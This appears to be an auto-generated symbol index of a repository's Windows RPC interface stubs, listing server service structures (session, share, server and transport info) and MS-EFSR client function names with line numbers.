type _SESSION_INFO_2 (line 400) | struct _SESSION_INFO_2
type _SESSION_INFO_2 (line 402) | struct _SESSION_INFO_2
type SESSION_INFO_2_CONTAINER (line 404) | typedef struct _SESSION_INFO_2_CONTAINER
type _SESSION_INFO_2_CONTAINER (line 410) | struct _SESSION_INFO_2_CONTAINER
type _SESSION_INFO_2_CONTAINER (line 412) | struct _SESSION_INFO_2_CONTAINER
type SESSION_INFO_10 (line 414) | typedef struct _SESSION_INFO_10
type _SESSION_INFO_10 (line 422) | struct _SESSION_INFO_10
type _SESSION_INFO_10 (line 424) | struct _SESSION_INFO_10
type SESSION_INFO_10_CONTAINER (line 426) | typedef struct _SESSION_INFO_10_CONTAINER
type _SESSION_INFO_10_CONTAINER (line 432) | struct _SESSION_INFO_10_CONTAINER
type _SESSION_INFO_10_CONTAINER (line 434) | struct _SESSION_INFO_10_CONTAINER
type SESSION_INFO_502 (line 436) | typedef struct _SESSION_INFO_502
type _SESSION_INFO_502 (line 448) | struct _SESSION_INFO_502
type _SESSION_INFO_502 (line 450) | struct _SESSION_INFO_502
type SESSION_INFO_502_CONTAINER (line 452) | typedef struct _SESSION_INFO_502_CONTAINER
type _SESSION_INFO_502_CONTAINER (line 458) | struct _SESSION_INFO_502_CONTAINER
type _SESSION_INFO_502_CONTAINER (line 460) | struct _SESSION_INFO_502_CONTAINER
type SESSION_ENUM_UNION (line 462) | typedef /* [switch_type] */ union _SESSION_ENUM_UNION
type SESSION_ENUM_STRUCT (line 471) | typedef struct _SESSION_ENUM_STRUCT
type _SESSION_ENUM_STRUCT (line 477) | struct _SESSION_ENUM_STRUCT
type _SESSION_ENUM_STRUCT (line 479) | struct _SESSION_ENUM_STRUCT
type SHARE_INFO_502_I (line 481) | typedef struct _SHARE_INFO_502_I
type _SHARE_INFO_502_I (line 495) | struct _SHARE_INFO_502_I
type _SHARE_INFO_502_I (line 497) | struct _SHARE_INFO_502_I
type SHARE_INFO_503_I (line 499) | typedef struct _SHARE_INFO_503_I
type _SHARE_INFO_503_I (line 514) | struct _SHARE_INFO_503_I
type _SHARE_INFO_503_I (line 516) | struct _SHARE_INFO_503_I
type SHARE_INFO_503_CONTAINER (line 518) | typedef struct _SHARE_INFO_503_CONTAINER
type _SHARE_INFO_503_CONTAINER (line 524) | struct _SHARE_INFO_503_CONTAINER
type _SHARE_INFO_503_CONTAINER (line 526) | struct _SHARE_INFO_503_CONTAINER
type SHARE_INFO_1501_I (line 528) | typedef struct _SHARE_INFO_1501_I
type _SHARE_INFO_1501_I (line 534) | struct _SHARE_INFO_1501_I
type _SHARE_INFO_1501_I (line 536) | struct _SHARE_INFO_1501_I
type SHARE_INFO_0 (line 538) | typedef struct _SHARE_INFO_0
type _SHARE_INFO_0 (line 543) | struct _SHARE_INFO_0
type _SHARE_INFO_0 (line 545) | struct _SHARE_INFO_0
type SHARE_INFO_0_CONTAINER (line 547) | typedef struct _SHARE_INFO_0_CONTAINER
type SHARE_INFO_1 (line 553) | typedef struct _SHARE_INFO_1
type _SHARE_INFO_1 (line 560) | struct _SHARE_INFO_1
type _SHARE_INFO_1 (line 562) | struct _SHARE_INFO_1
type SHARE_INFO_1_CONTAINER (line 564) | typedef struct _SHARE_INFO_1_CONTAINER
type SHARE_INFO_2 (line 570) | typedef struct _SHARE_INFO_2
type _SHARE_INFO_2 (line 582) | struct _SHARE_INFO_2
type _SHARE_INFO_2 (line 584) | struct _SHARE_INFO_2
type SHARE_INFO_2_CONTAINER (line 586) | typedef struct _SHARE_INFO_2_CONTAINER
type _SHARE_INFO_2_CONTAINER (line 592) | struct _SHARE_INFO_2_CONTAINER
type _SHARE_INFO_2_CONTAINER (line 594) | struct _SHARE_INFO_2_CONTAINER
type SHARE_INFO_501 (line 596) | typedef struct _SHARE_INFO_501
type _SHARE_INFO_501 (line 604) | struct _SHARE_INFO_501
type _SHARE_INFO_501 (line 606) | struct _SHARE_INFO_501
type SHARE_INFO_501_CONTAINER (line 608) | typedef struct _SHARE_INFO_501_CONTAINER
type _SHARE_INFO_501_CONTAINER (line 614) | struct _SHARE_INFO_501_CONTAINER
type _SHARE_INFO_501_CONTAINER (line 616) | struct _SHARE_INFO_501_CONTAINER
type SHARE_INFO_502_CONTAINER (line 618) | typedef struct _SHARE_INFO_502_CONTAINER
type _SHARE_INFO_502_CONTAINER (line 624) | struct _SHARE_INFO_502_CONTAINER
type _SHARE_INFO_502_CONTAINER (line 626) | struct _SHARE_INFO_502_CONTAINER
type SHARE_ENUM_UNION (line 628) | typedef /* [switch_type] */ union _SHARE_ENUM_UNION
type SHARE_ENUM_STRUCT (line 638) | typedef struct _SHARE_ENUM_STRUCT
type _SHARE_ENUM_STRUCT (line 644) | struct _SHARE_ENUM_STRUCT
type _SHARE_ENUM_STRUCT (line 646) | struct _SHARE_ENUM_STRUCT
type SHARE_INFO_1004 (line 648) | typedef struct _SHARE_INFO_1004
type _SHARE_INFO_1004 (line 653) | struct _SHARE_INFO_1004
type _SHARE_INFO_1004 (line 655) | struct _SHARE_INFO_1004
type SHARE_INFO_1006 (line 657) | typedef struct _SHARE_INFO_1006
type _SHARE_INFO_1006 (line 662) | struct _SHARE_INFO_1006
type _SHARE_INFO_1006 (line 664) | struct _SHARE_INFO_1006
type SHARE_INFO_1005 (line 666) | typedef struct _SHARE_INFO_1005
type _SHARE_INFO_1005 (line 671) | struct _SHARE_INFO_1005
type _SHARE_INFO_1005 (line 673) | struct _SHARE_INFO_1005
type SHARE_INFO (line 675) | typedef /* [switch_type] */ union _SHARE_INFO
type SERVER_INFO_100 (line 694) | typedef struct _SERVER_INFO_100
type _SERVER_INFO_100 (line 700) | struct _SERVER_INFO_100
type _SERVER_INFO_100 (line 702) | struct _SERVER_INFO_100
type SERVER_INFO_101 (line 704) | typedef struct _SERVER_INFO_101
type _SERVER_INFO_101 (line 714) | struct _SERVER_INFO_101
type _SERVER_INFO_101 (line 716) | struct _SERVER_INFO_101
type SERVER_INFO_102 (line 718) | typedef struct _SERVER_INFO_102
type _SERVER_INFO_102 (line 735) | struct _SERVER_INFO_102
type _SERVER_INFO_102 (line 737) | struct _SERVER_INFO_102
type SERVER_INFO_103 (line 739) | typedef struct _SERVER_INFO_103
type _SERVER_INFO_103 (line 757) | struct _SERVER_INFO_103
type _SERVER_INFO_103 (line 759) | struct _SERVER_INFO_103
type SERVER_INFO_502 (line 761) | typedef struct _SERVER_INFO_502
type _SERVER_INFO_502 (line 783) | struct _SERVER_INFO_502
type _SERVER_INFO_502 (line 785) | struct _SERVER_INFO_502
type SERVER_INFO_503 (line 787) | typedef struct _SERVER_INFO_503
type _SERVER_INFO_503 (line 833) | struct _SERVER_INFO_503
type _SERVER_INFO_503 (line 835) | struct _SERVER_INFO_503
type SERVER_INFO_599 (line 837) | typedef struct _SERVER_INFO_599
type _SERVER_INFO_599 (line 897) | struct _SERVER_INFO_599
type _SERVER_INFO_599 (line 899) | struct _SERVER_INFO_599
type SERVER_INFO_1005 (line 901) | typedef struct _SERVER_INFO_1005
type _SERVER_INFO_1005 (line 906) | struct _SERVER_INFO_1005
type _SERVER_INFO_1005 (line 908) | struct _SERVER_INFO_1005
type SERVER_INFO_1107 (line 910) | typedef struct _SERVER_INFO_1107
type _SERVER_INFO_1107 (line 915) | struct _SERVER_INFO_1107
type _SERVER_INFO_1107 (line 917) | struct _SERVER_INFO_1107
type SERVER_INFO_1010 (line 919) | typedef struct _SERVER_INFO_1010
type _SERVER_INFO_1010 (line 924) | struct _SERVER_INFO_1010
type _SERVER_INFO_1010 (line 926) | struct _SERVER_INFO_1010
type SERVER_INFO_1016 (line 928) | typedef struct _SERVER_INFO_1016
type _SERVER_INFO_1016 (line 933) | struct _SERVER_INFO_1016
type _SERVER_INFO_1016 (line 935) | struct _SERVER_INFO_1016
type SERVER_INFO_1017 (line 937) | typedef struct _SERVER_INFO_1017
type _SERVER_INFO_1017 (line 942) | struct _SERVER_INFO_1017
type _SERVER_INFO_1017 (line 944) | struct _SERVER_INFO_1017
type SERVER_INFO_1018 (line 946) | typedef struct _SERVER_INFO_1018
type _SERVER_INFO_1018 (line 951) | struct _SERVER_INFO_1018
type _SERVER_INFO_1018 (line 953) | struct _SERVER_INFO_1018
type SERVER_INFO_1501 (line 955) | typedef struct _SERVER_INFO_1501
type _SERVER_INFO_1501 (line 960) | struct _SERVER_INFO_1501
type _SERVER_INFO_1501 (line 962) | struct _SERVER_INFO_1501
type SERVER_INFO_1502 (line 964) | typedef struct _SERVER_INFO_1502
type _SERVER_INFO_1502 (line 969) | struct _SERVER_INFO_1502
type _SERVER_INFO_1502 (line 971) | struct _SERVER_INFO_1502
type SERVER_INFO_1503 (line 973) | typedef struct _SERVER_INFO_1503
type _SERVER_INFO_1503 (line 978) | struct _SERVER_INFO_1503
type _SERVER_INFO_1503 (line 980) | struct _SERVER_INFO_1503
type SERVER_INFO_1506 (line 982) | typedef struct _SERVER_INFO_1506
type _SERVER_INFO_1506 (line 987) | struct _SERVER_INFO_1506
type _SERVER_INFO_1506 (line 989) | struct _SERVER_INFO_1506
type SERVER_INFO_1510 (line 991) | typedef struct _SERVER_INFO_1510
type _SERVER_INFO_1510 (line 996) | struct _SERVER_INFO_1510
type _SERVER_INFO_1510 (line 998) | struct _SERVER_INFO_1510
type SERVER_INFO_1511 (line 1000) | typedef struct _SERVER_INFO_1511
type _SERVER_INFO_1511 (line 1005) | struct _SERVER_INFO_1511
type _SERVER_INFO_1511 (line 1007) | struct _SERVER_INFO_1511
type SERVER_INFO_1512 (line 1009) | typedef struct _SERVER_INFO_1512
type _SERVER_INFO_1512 (line 1014) | struct _SERVER_INFO_1512
type _SERVER_INFO_1512 (line 1016) | struct _SERVER_INFO_1512
type SERVER_INFO_1513 (line 1018) | typedef struct _SERVER_INFO_1513
type _SERVER_INFO_1513 (line 1023) | struct _SERVER_INFO_1513
type _SERVER_INFO_1513 (line 1025) | struct _SERVER_INFO_1513
type SERVER_INFO_1514 (line 1027) | typedef struct _SERVER_INFO_1514
type _SERVER_INFO_1514 (line 1032) | struct _SERVER_INFO_1514
type _SERVER_INFO_1514 (line 1034) | struct _SERVER_INFO_1514
type SERVER_INFO_1515 (line 1036) | typedef struct _SERVER_INFO_1515
type _SERVER_INFO_1515 (line 1041) | struct _SERVER_INFO_1515
type _SERVER_INFO_1515 (line 1043) | struct _SERVER_INFO_1515
type SERVER_INFO_1516 (line 1045) | typedef struct _SERVER_INFO_1516
type _SERVER_INFO_1516 (line 1050) | struct _SERVER_INFO_1516
type _SERVER_INFO_1516 (line 1052) | struct _SERVER_INFO_1516
type SERVER_INFO_1518 (line 1054) | typedef struct _SERVER_INFO_1518
type _SERVER_INFO_1518 (line 1059) | struct _SERVER_INFO_1518
type _SERVER_INFO_1518 (line 1061) | struct _SERVER_INFO_1518
type SERVER_INFO_1523 (line 1063) | typedef struct _SERVER_INFO_1523
type _SERVER_INFO_1523 (line 1068) | struct _SERVER_INFO_1523
type _SERVER_INFO_1523 (line 1070) | struct _SERVER_INFO_1523
type SERVER_INFO_1528 (line 1072) | typedef struct _SERVER_INFO_1528
type _SERVER_INFO_1528 (line 1077) | struct _SERVER_INFO_1528
type _SERVER_INFO_1528 (line 1079) | struct _SERVER_INFO_1528
type SERVER_INFO_1529 (line 1081) | typedef struct _SERVER_INFO_1529
type _SERVER_INFO_1529 (line 1086) | struct _SERVER_INFO_1529
type _SERVER_INFO_1529 (line 1088) | struct _SERVER_INFO_1529
type SERVER_INFO_1530 (line 1090) | typedef struct _SERVER_INFO_1530
type _SERVER_INFO_1530 (line 1095) | struct _SERVER_INFO_1530
type _SERVER_INFO_1530 (line 1097) | struct _SERVER_INFO_1530
type SERVER_INFO_1533 (line 1099) | typedef struct _SERVER_INFO_1533
type _SERVER_INFO_1533 (line 1104) | struct _SERVER_INFO_1533
type _SERVER_INFO_1533 (line 1106) | struct _SERVER_INFO_1533
type SERVER_INFO_1534 (line 1108) | typedef struct _SERVER_INFO_1534
type _SERVER_INFO_1534 (line 1113) | struct _SERVER_INFO_1534
type _SERVER_INFO_1534 (line 1115) | struct _SERVER_INFO_1534
type SERVER_INFO_1535 (line 1117) | typedef struct _SERVER_INFO_1535
type _SERVER_INFO_1535 (line 1122) | struct _SERVER_INFO_1535
type _SERVER_INFO_1535 (line 1124) | struct _SERVER_INFO_1535
type SERVER_INFO_1536 (line 1126) | typedef struct _SERVER_INFO_1536
type _SERVER_INFO_1536 (line 1131) | struct _SERVER_INFO_1536
type _SERVER_INFO_1536 (line 1133) | struct _SERVER_INFO_1536
type SERVER_INFO_1538 (line 1135) | typedef struct _SERVER_INFO_1538
type _SERVER_INFO_1538 (line 1140) | struct _SERVER_INFO_1538
type _SERVER_INFO_1538 (line 1142) | struct _SERVER_INFO_1538
type SERVER_INFO_1539 (line 1144) | typedef struct _SERVER_INFO_1539
type _SERVER_INFO_1539 (line 1149) | struct _SERVER_INFO_1539
type _SERVER_INFO_1539 (line 1151) | struct _SERVER_INFO_1539
type SERVER_INFO_1540 (line 1153) | typedef struct _SERVER_INFO_1540
type _SERVER_INFO_1540 (line 1158) | struct _SERVER_INFO_1540
type _SERVER_INFO_1540 (line 1160) | struct _SERVER_INFO_1540
type SERVER_INFO_1541 (line 1162) | typedef struct _SERVER_INFO_1541
type _SERVER_INFO_1541 (line 1167) | struct _SERVER_INFO_1541
type _SERVER_INFO_1541 (line 1169) | struct _SERVER_INFO_1541
type SERVER_INFO_1542 (line 1171) | typedef struct _SERVER_INFO_1542
type _SERVER_INFO_1542 (line 1176) | struct _SERVER_INFO_1542
type _SERVER_INFO_1542 (line 1178) | struct _SERVER_INFO_1542
type SERVER_INFO_1543 (line 1180) | typedef struct _SERVER_INFO_1543
type _SERVER_INFO_1543 (line 1185) | struct _SERVER_INFO_1543
type _SERVER_INFO_1543 (line 1187) | struct _SERVER_INFO_1543
type SERVER_INFO_1544 (line 1189) | typedef struct _SERVER_INFO_1544
type _SERVER_INFO_1544 (line 1194) | struct _SERVER_INFO_1544
type _SERVER_INFO_1544 (line 1196) | struct _SERVER_INFO_1544
type SERVER_INFO_1545 (line 1198) | typedef struct _SERVER_INFO_1545
type _SERVER_INFO_1545 (line 1203) | struct _SERVER_INFO_1545
type _SERVER_INFO_1545 (line 1205) | struct _SERVER_INFO_1545
type SERVER_INFO_1546 (line 1207) | typedef struct _SERVER_INFO_1546
type _SERVER_INFO_1546 (line 1212) | struct _SERVER_INFO_1546
type _SERVER_INFO_1546 (line 1214) | struct _SERVER_INFO_1546
type SERVER_INFO_1547 (line 1216) | typedef struct _SERVER_INFO_1547
type _SERVER_INFO_1547 (line 1221) | struct _SERVER_INFO_1547
type _SERVER_INFO_1547 (line 1223) | struct _SERVER_INFO_1547
type SERVER_INFO_1548 (line 1225) | typedef struct _SERVER_INFO_1548
type _SERVER_INFO_1548 (line 1230) | struct _SERVER_INFO_1548
type _SERVER_INFO_1548 (line 1232) | struct _SERVER_INFO_1548
type SERVER_INFO_1549 (line 1234) | typedef struct _SERVER_INFO_1549
type _SERVER_INFO_1549 (line 1239) | struct _SERVER_INFO_1549
type _SERVER_INFO_1549 (line 1241) | struct _SERVER_INFO_1549
type SERVER_INFO_1550 (line 1243) | typedef struct _SERVER_INFO_1550
type _SERVER_INFO_1550 (line 1248) | struct _SERVER_INFO_1550
type _SERVER_INFO_1550 (line 1250) | struct _SERVER_INFO_1550
type SERVER_INFO_1552 (line 1252) | typedef struct _SERVER_INFO_1552
type _SERVER_INFO_1552 (line 1257) | struct _SERVER_INFO_1552
type _SERVER_INFO_1552 (line 1259) | struct _SERVER_INFO_1552
type SERVER_INFO_1553 (line 1261) | typedef struct _SERVER_INFO_1553
type _SERVER_INFO_1553 (line 1266) | struct _SERVER_INFO_1553
type _SERVER_INFO_1553 (line 1268) | struct _SERVER_INFO_1553
type SERVER_INFO_1554 (line 1270) | typedef struct _SERVER_INFO_1554
type _SERVER_INFO_1554 (line 1275) | struct _SERVER_INFO_1554
type _SERVER_INFO_1554 (line 1277) | struct _SERVER_INFO_1554
type SERVER_INFO_1555 (line 1279) | typedef struct _SERVER_INFO_1555
type _SERVER_INFO_1555 (line 1284) | struct _SERVER_INFO_1555
type _SERVER_INFO_1555 (line 1286) | struct _SERVER_INFO_1555
type SERVER_INFO_1556 (line 1288) | typedef struct _SERVER_INFO_1556
type _SERVER_INFO_1556 (line 1293) | struct _SERVER_INFO_1556
type _SERVER_INFO_1556 (line 1295) | struct _SERVER_INFO_1556
type SERVER_INFO (line 1297) | typedef /* [switch_type] */ union _SERVER_INFO
type DISK_INFO (line 1356) | typedef struct _DISK_INFO
type _DISK_INFO (line 1361) | struct _DISK_INFO
type _DISK_INFO (line 1363) | struct _DISK_INFO
type DISK_ENUM_CONTAINER (line 1365) | typedef struct _DISK_ENUM_CONTAINER
type SERVER_TRANSPORT_INFO_0 (line 1371) | typedef struct _SERVER_TRANSPORT_INFO_0
type _SERVER_TRANSPORT_INFO_0 (line 1380) | struct _SERVER_TRANSPORT_INFO_0
type _SERVER_TRANSPORT_INFO_0 (line 1382) | struct _SERVER_TRANSPORT_INFO_0
type SERVER_XPORT_INFO_0_CONTAINER (line 1384) | typedef struct _SERVER_XPORT_INFO_0_CONTAINER
type _SERVER_XPORT_INFO_0_CONTAINER (line 1390) | struct _SERVER_XPORT_INFO_0_CONTAINER
type SERVER_TRANSPORT_INFO_1 (line 1392) | typedef struct _SERVER_TRANSPORT_INFO_1
type _SERVER_TRANSPORT_INFO_1 (line 1402) | struct _SERVER_TRANSPORT_INFO_1
type _SERVER_TRANSPORT_INFO_1 (line 1404) | struct _SERVER_TRANSPORT_INFO_1
type SERVER_XPORT_INFO_1_CONTAINER (line 1406) | typedef struct _SERVER_XPORT_INFO_1_CONTAINER
type _SERVER_XPORT_INFO_1_CONTAINER (line 1412) | struct _SERVER_XPORT_INFO_1_CONTAINER
type SERVER_TRANSPORT_INFO_2 (line 1414) | typedef struct _SERVER_TRANSPORT_INFO_2
type _SERVER_TRANSPORT_INFO_2 (line 1425) | struct _SERVER_TRANSPORT_INFO_2
type _SERVER_TRANSPORT_INFO_2 (line 1427) | struct _SERVER_TRANSPORT_INFO_2
type SERVER_XPORT_INFO_2_CONTAINER (line 1429) | typedef struct _SERVER_XPORT_INFO_2_CONTAINER
type _SERVER_XPORT_INFO_2_CONTAINER (line 1435) | struct _SERVER_XPORT_INFO_2_CONTAINER
type SERVER_TRANSPORT_INFO_3 (line 1437) | typedef struct _SERVER_TRANSPORT_INFO_3
type _SERVER_TRANSPORT_INFO_3 (line 1450) | struct _SERVER_TRANSPORT_INFO_3
type _SERVER_TRANSPORT_INFO_3 (line 1452) | struct _SERVER_TRANSPORT_INFO_3
type SERVER_XPORT_INFO_3_CONTAINER (line 1454) | typedef struct _SERVER_XPORT_INFO_3_CONTAINER
type _SERVER_XPORT_INFO_3_CONTAINER (line 1460) | struct _SERVER_XPORT_INFO_3_CONTAINER
type TRANSPORT_INFO (line 1462) | typedef /* [switch_type] */ union _TRANSPORT_INFO
type SERVER_XPORT_ENUM_UNION (line 1474) | typedef /* [switch_type] */ union _SERVER_XPORT_ENUM_UNION
type SERVER_XPORT_ENUM_STRUCT (line 1482) | typedef struct _SERVER_XPORT_ENUM_STRUCT
type _SERVER_XPORT_ENUM_STRUCT (line 1488) | struct _SERVER_XPORT_ENUM_STRUCT
type _SERVER_XPORT_ENUM_STRUCT (line 1490) | struct _SERVER_XPORT_ENUM_STRUCT
type SHARE_DEL_HANDLE (line 1494) | typedef SHARE_DEL_HANDLE *PSHARE_DEL_HANDLE;
type ADT_SECURITY_DESCRIPTOR (line 1496) | typedef struct _ADT_SECURITY_DESCRIPTOR
type _ADT_SECURITY_DESCRIPTOR (line 1502) | struct _ADT_SECURITY_DESCRIPTOR
type STAT_SERVER_0 (line 1504) | typedef struct _STAT_SERVER_0
type _STAT_SERVER_0 (line 1525) | struct _STAT_SERVER_0
type _STAT_SERVER_0 (line 1527) | struct _STAT_SERVER_0
type TIME_OF_DAY_INFO (line 1529) | typedef struct _TIME_OF_DAY_INFO
type _TIME_OF_DAY_INFO (line 1545) | struct _TIME_OF_DAY_INFO
type _TIME_OF_DAY_INFO (line 1547) | struct _TIME_OF_DAY_INFO
type NET_DFS_ENTRY_ID (line 1549) | typedef struct _NET_DFS_ENTRY_ID
type _NET_DFS_ENTRY_ID (line 1555) | struct _NET_DFS_ENTRY_ID
type NET_DFS_ENTRY_ID_CONTAINER (line 1557) | typedef struct _NET_DFS_ENTRY_ID_CONTAINER
type _NET_DFS_ENTRY_ID_CONTAINER (line 1563) | struct _NET_DFS_ENTRY_ID_CONTAINER
type DFS_SITENAME_INFO (line 1565) | typedef struct _DFS_SITENAME_INFO
type _DFS_SITENAME_INFO (line 1571) | struct _DFS_SITENAME_INFO
type _DFS_SITENAME_INFO (line 1573) | struct _DFS_SITENAME_INFO
type DFS_SITELIST_INFO (line 1575) | typedef struct _DFS_SITELIST_INFO
type _DFS_SITELIST_INFO (line 1581) | struct _DFS_SITELIST_INFO
type _DFS_SITELIST_INFO (line 1583) | struct _DFS_SITELIST_INFO
type SERVER_ALIAS_INFO_0 (line 1585) | typedef struct _SERVER_ALIAS_INFO_0
type _SERVER_ALIAS_INFO_0 (line 1593) | struct _SERVER_ALIAS_INFO_0
type _SERVER_ALIAS_INFO_0 (line 1595) | struct _SERVER_ALIAS_INFO_0
type SERVER_ALIAS_INFO_0_CONTAINER (line 1597) | typedef struct _SERVER_ALIAS_INFO_0_CONTAINER
type SERVER_ALIAS_ENUM_STRUCT (line 1603) | typedef struct _SERVER_ALIAS_ENUM_STRUCT
type _SERVER_ALIAS_ENUM_STRUCT (line 1612) | struct _SERVER_ALIAS_ENUM_STRUCT
type _SERVER_ALIAS_ENUM_STRUCT (line 1614) | struct _SERVER_ALIAS_ENUM_STRUCT
type SERVER_ALIAS_INFO (line 1616) | typedef /* [switch_type] */ union _SERVER_ALIAS_INFO
FILE: rpc_interfaces/ms-efsr_c.c
type MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_TYPE_FORMAT_STRING (line 38) | typedef struct _MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_T...
type MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_PROC_FORMAT_STRING (line 44) | typedef struct _MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_P...
type MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_EXPR_FORMAT_STRING (line 50) | typedef struct _MS2DEFSR_df1941c52Dfe892D4e792Dbf102D463657acf44d_MIDL_E...
function EfsRpcOpenFileRaw (line 157) | long EfsRpcOpenFileRaw(
function EfsRpcReadFileRaw (line 179) | long EfsRpcReadFileRaw(
function EfsRpcWriteFileRaw (line 197) | long EfsRpcWriteFileRaw(
function EfsRpcCloseRaw (line 215) | void EfsRpcCloseRaw(
function EfsRpcEncryptFileSrv (line 228) | long EfsRpcEncryptFileSrv(
function EfsRpcDecryptFileSrv (line 246) | long EfsRpcDecryptFileSrv(
function DWORD (line 266) | DWORD EfsRpcQueryUsersOnFile(
function DWORD (line 286) | DWORD EfsRpcQueryRecoveryAgents(
function DWORD (line 306) | DWORD EfsRpcRemoveUsersFromFile(
function DWORD (line 326) | DWORD EfsRpcAddUsersToFile(
function Proc10_EfsRpcSetFileEncryptionKey (line 346) | long Proc10_EfsRpcSetFileEncryptionKey(
function DWORD (line 368) | DWORD EfsRpcNotSupported(
function DWORD (line 396) | DWORD EfsRpcFileKeyInfo(
function DWORD (line 418) | DWORD EfsRpcDuplicateEncryptionInfoFile(
function Proc14_EfsUsePinForEncryptedFiles (line 446) | long Proc14_EfsUsePinForEncryptedFiles(
function DWORD (line 466) | DWORD EfsRpcAddUsersToFileEx(
function DWORD (line 490) | DWORD EfsRpcFileKeyInfoEx(
function Proc17_EfsRpcFileKeyInfoEx (line 516) | long Proc17_EfsRpcFileKeyInfoEx(
function DWORD (line 534) | DWORD EfsRpcGetEncryptedFileMetadata(
function DWORD (line 554) | DWORD EfsRpcSetEncryptedFileMetadata(
function DWORD (line 578) | DWORD EfsRpcFlushEfsCache(
function EfsRpcEncryptFileExSrv (line 594) | long EfsRpcEncryptFileExSrv(
function DWORD (line 616) | DWORD EfsRpcQueryProtectors(
function Proc23_EfsRpcWriteFileWithHeaderRaw (line 636) | long Proc23_EfsRpcWriteFileWithHeaderRaw(
function Proc24_EdpRpcCredentialCreate (line 677) | long Proc24_EdpRpcCredentialCreate(
function Proc25_EdpRpcCredentialQuery (line 701) | long Proc25_EdpRpcCredentialQuery(
function Proc26_EdpRpcCredentialExists (line 725) | long Proc26_EdpRpcCredentialExists(
function Proc27_EdpRpcCredentialDelete (line 749) | long Proc27_EdpRpcCredentialDelete(
function Proc28_EdpRpcQueryRevokedPolicyOwnerIds (line 775) | long Proc28_EdpRpcQueryRevokedPolicyOwnerIds(
function Proc29_EdpRpcQueryDplEnforcedPolicyOwnerIds (line 797) | long Proc29_EdpRpcQueryDplEnforcedPolicyOwnerIds(
function Proc30_EdpRpcGetLockSessionWrappedKey (line 817) | long Proc30_EdpRpcGetLockSessionWrappedKey(
function Proc31_EdpRpcGetLockSessionUnwrappedKey (line 847) | long Proc31_EdpRpcGetLockSessionUnwrappedKey(
function Proc32_EdpRpcGetCredServiceState (line 877) | long Proc32_EdpRpcGetCredServiceState(
function Proc33_EdpRpcDplUpgradePinInfo (line 911) | long Proc33_EdpRpcDplUpgradePinInfo(
function Proc34_EdpRpcDplUpgradeVerifyUser (line 935) | long Proc34_EdpRpcDplUpgradeVerifyUser(
function Proc35_EdpRpcDplUserCredentialsSet (line 959) | long Proc35_EdpRpcDplUserCredentialsSet(
function Proc36_EdpRpcDplUserUnlockStart (line 983) | long Proc36_EdpRpcDplUserUnlockStart(
function Proc37_EdpRpcDplUserUnlockComplete (line 1007) | long Proc37_EdpRpcDplUserUnlockComplete(
function Proc38_EdpRpcQueueFileForEncryption (line 1029) | long Proc38_EdpRpcQueueFileForEncryption(
function Proc39_EdpRpcServiceFileEncryptionQueue (line 1053) | long Proc39_EdpRpcServiceFileEncryptionQueue(
function Proc40_EdpRpcCredSvcControl (line 1071) | long Proc40_EdpRpcCredSvcControl(
function Proc41_EdpRpcRmsClearKeys (line 1106) | long Proc41_EdpRpcRmsClearKeys(
function Proc42_EdpRpcRmsContainerizeFile (line 1123) | long Proc42_EdpRpcRmsContainerizeFile(
function Proc43_EdpRpcRmsGetContainerIdentity (line 1150) | long Proc43_EdpRpcRmsGetContainerIdentity(
function Proc44_EdpRpcRmsDecontainerizeFile (line 1171) | long Proc44_EdpRpcRmsDecontainerizeFile(
function Proc45_EdpRpcAllowFileAccessForProcess (line 1194) | long Proc45_EdpRpcAllowFileAccessForProcess(
function Proc46_EdpRpcGetTfaCache (line 1217) | long Proc46_EdpRpcGetTfaCache(
type NDR64_FORMAT_CHAR (line 4523) | typedef
type __midl_frag472_t (line 4528) | typedef
type __midl_frag471_t (line 4536) | typedef
type __midl_frag470_t (line 4541) | typedef
type __midl_frag469_t (line 4550) | typedef
type __midl_frag468_t (line 4555) | typedef
type __midl_frag467_t (line 4563) | typedef
type __midl_frag466_t (line 4572) | typedef
type __midl_frag465_t (line 4581) | typedef
type __midl_frag463_t (line 4600) | typedef
type __midl_frag462_t (line 4619) | typedef
type __midl_frag461_t (line 4634) | typedef
type __midl_frag460_t (line 4639) | typedef
type __midl_frag459_t (line 4644) | typedef
type __midl_frag456_t (line 4655) | typedef
type NDR64_FORMAT_CHAR (line 4660) | typedef
type __midl_frag454_t (line 4665) | typedef
type __midl_frag453_t (line 4670) | typedef
type __midl_frag452_t (line 4675) | typedef
type __midl_frag449_t (line 4688) | typedef
type __midl_frag448_t (line 4693) | typedef
type __midl_frag443_t (line 4698) | typedef
type __midl_frag436_t (line 4711) | typedef
type __midl_frag423_t (line 4723) | typedef
type __midl_frag421_t (line 4738) | typedef
type __midl_frag418_t (line 4748) | typedef
type NDR64_FORMAT_CHAR (line 4753) | typedef
type __midl_frag416_t (line 4758) | typedef
type __midl_frag415_t (line 4768) | typedef
type __midl_frag414_t (line 4777) | typedef
type __midl_frag413_t (line 4782) | typedef
type NDR64_FORMAT_CHAR (line 4787) | typedef
type NDR64_FORMAT_CHAR (line 4792) | typedef
type __midl_frag410_t (line 4797) | typedef
type __midl_frag409_t (line 4806) | typedef
type __midl_frag408_t (line 4815) | typedef
type NDR64_FORMAT_CHAR (line 4820) | typedef
type NDR64_FORMAT_CHAR (line 4825) | typedef
type __midl_frag405_t (line 4830) | typedef
type __midl_frag404_t (line 4839) | typedef
type __midl_frag403_t (line 4848) | typedef
type __midl_frag402_t (line 4853) | typedef
type __midl_frag401_t (line 4858) | typedef
type NDR64_FORMAT_CHAR (line 4863) | typedef
type __midl_frag397_t (line 4868) | typedef
type NDR64_FORMAT_CHAR (line 4887) | typedef
type __midl_frag394_t (line 4892) | typedef
type __midl_frag392_t (line 4903) | typedef
type __midl_frag391_t (line 4908) | typedef
type __midl_frag389_t (line 4913) | typedef
type __midl_frag386_t (line 4918) | typedef
type __midl_frag385_t (line 4926) | typedef
type __midl_frag384_t (line 4931) | typedef
type NDR64_FORMAT_CHAR (line 4945) | typedef
type __midl_frag379_t (line 4950) | typedef
type __midl_frag378_t (line 4955) | typedef
type __midl_frag375_t (line 4968) | typedef
type __midl_frag369_t (line 4973) | typedef
type NDR64_FORMAT_CHAR (line 4987) | typedef
type __midl_frag361_t (line 4992) | typedef
type __midl_frag356_t (line 5006) | typedef
type __midl_frag351_t (line 5011) | typedef
type __midl_frag348_t (line 5025) | typedef
type __midl_frag341_t (line 5030) | typedef
